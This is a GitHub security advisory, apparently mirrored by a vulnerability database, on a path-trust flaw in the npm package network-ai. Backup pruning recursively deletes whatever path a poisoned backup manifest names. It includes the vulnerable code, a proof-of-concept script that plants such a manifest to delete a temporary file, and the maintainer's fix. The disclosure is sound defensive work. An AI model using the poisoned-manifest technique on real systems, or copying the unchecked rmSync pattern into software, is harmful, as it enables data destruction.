GHSA-2FMP-9RVW-HC96
Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42Summary
EnvironmentManager.listBackups() reads each backup's _manifest.json and trusts the manifest's path field. EnvironmentManager.pruneBackups() later passes that trusted entry.path directly to rmSync(entry.path, { recursive: true, force: true }).
An attacker who can place or modify a manifest inside data/<env>/.backups/<name>/_manifest.json can cause network-ai env backup prune --env <env> --keep <n> or any code path invoking pruneBackups() to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.
Details
listBackups() trusts manifest content from disk:
for (const name of readdirSync(backupsDir)) {
const manifest = join(backupsDir, name, '_manifest.json');
if (existsSync(manifest)) {
try {
const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry;
entries.push(entry);
} catch { /* corrupt manifest, skip */ }
}
}
pruneBackups() uses the attacker-controlled entry.path as the deletion target:
const toDelete = all.slice(keep);
let deleted = 0;
for (const entry of toDelete) {
try {
rmSync(entry.path, { recursive: true, force: true });
deleted++;
} catch { /* ignore */ }
}
Default CLI reachability exists through network-ai env backup prune --env <env> --keep <n>.
Affected source evidence:
lib/env-manager.ts:505-523— reads trusted backup entries from_manifest.json.lib/env-manager.ts:529-541— recursively deletesentry.path.bin/cli.ts:464-472— default CLI exposes backup pruning.
PoC
This PoC uses only a temporary directory and deletes only a temporary file:
TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const mgr = new EnvironmentManager(path.join(base, 'data'), {
chain: ['dev', 'st'],
gates: { dev: 'auto', st: 'auto' },
});
mgr.init('dev');
fs.writeFileSync(path.join(base, 'victim.txt'), 'safe');
const backupsDir = path.join(base, 'data', 'dev', '.backups');
fs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true });
fs.writeFileSync(
path.join(backupsDir, 'evil', '_manifest.json'),
JSON.stringify({
backupId: 'evil',
env: 'dev',
timestamp: '2000-01-01T00:00:00.000Z',
sizeBytes: 0,
path: path.join(base, 'victim.txt'),
})
);
console.log(JSON.stringify({
before: fs.existsSync(path.join(base, 'victim.txt')),
deleted: mgr.pruneBackups('dev', 0),
after: fs.existsSync(path.join(base, 'victim.txt')),
}, null, 2));
fs.rmSync(base, { recursive: true, force: true });
TS
Observed result: before is true, deleted is 1, and after is false, proving deletion occurred outside data/dev/.backups.
Impact
An attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.
Resolution (maintainer)
Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.
pruneBackups() no longer passes entry.path from the on-disk manifest to rmSync. The deletion path is recomputed from a format-validated entry.backupId, and a dirname containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. "path": "/") is now inert.
All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.12.1"
},
"package": {
"ecosystem": "npm",
"name": "network-ai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:42:26Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n`EnvironmentManager.listBackups()` reads each backup\u0027s `_manifest.json` and trusts the manifest\u0027s `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`.\n\nAn attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.\n\n### Details\n`listBackups()` trusts manifest content from disk:\n\n```ts\nfor (const name of readdirSync(backupsDir)) {\n const manifest = join(backupsDir, name, \u0027_manifest.json\u0027);\n if (existsSync(manifest)) {\n try {\n const entry = JSON.parse(readFileSync(manifest, \u0027utf-8\u0027)) as BackupEntry;\n entries.push(entry);\n } catch { /* corrupt manifest, skip */ }\n }\n}\n```\n\n`pruneBackups()` uses the attacker-controlled `entry.path` as the deletion target:\n\n```ts\nconst toDelete = all.slice(keep);\nlet deleted = 0;\nfor (const entry of toDelete) {\n try {\n rmSync(entry.path, { recursive: true, force: true });\n deleted++;\n } catch { /* ignore */ }\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:505-523` \u2014 reads trusted backup entries from `_manifest.json`.\n- `lib/env-manager.ts:529-541` \u2014 recursively deletes `entry.path`.\n- `bin/cli.ts:464-472` \u2014 default CLI exposes backup pruning.\n\n### PoC\nThis PoC uses only a temporary directory and deletes only a temporary file:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c\u0027TS\u0027\nconst { EnvironmentManager } = require(\u0027./lib/env-manager\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst base = process.env.TMPBASE;\n\nconst mgr = new EnvironmentManager(path.join(base, \u0027data\u0027), {\n chain: [\u0027dev\u0027, \u0027st\u0027],\n gates: { dev: \u0027auto\u0027, st: \u0027auto\u0027 },\n});\n\nmgr.init(\u0027dev\u0027);\nfs.writeFileSync(path.join(base, \u0027victim.txt\u0027), \u0027safe\u0027);\n\nconst backupsDir = path.join(base, \u0027data\u0027, \u0027dev\u0027, \u0027.backups\u0027);\nfs.mkdirSync(path.join(backupsDir, \u0027evil\u0027), { recursive: true });\nfs.writeFileSync(\n path.join(backupsDir, \u0027evil\u0027, \u0027_manifest.json\u0027),\n JSON.stringify({\n backupId: \u0027evil\u0027,\n env: \u0027dev\u0027,\n timestamp: \u00272000-01-01T00:00:00.000Z\u0027,\n sizeBytes: 0,\n path: path.join(base, \u0027victim.txt\u0027),\n })\n);\n\nconsole.log(JSON.stringify({\n before: fs.existsSync(path.join(base, \u0027victim.txt\u0027)),\n deleted: mgr.pruneBackups(\u0027dev\u0027, 0),\n after: fs.existsSync(path.join(base, \u0027victim.txt\u0027)),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `before` is `true`, `deleted` is `1`, and `after` is `false`, proving deletion occurred outside `data/dev/.backups`.\n\n### Impact\nAn attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` \u2014 published to npm with provenance.\n\n`pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.",
"id": "GHSA-2fmp-9rvw-hc96",
"modified": "2026-06-19T21:42:26Z",
"published": "2026-06-19T21:42:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96"
},
{
"type": "WEB",
"url": "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
},
{
"type": "PACKAGE",
"url": "https://github.com/Jovancoding/Network-AI"
},
{
"type": "WEB",
"url": "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.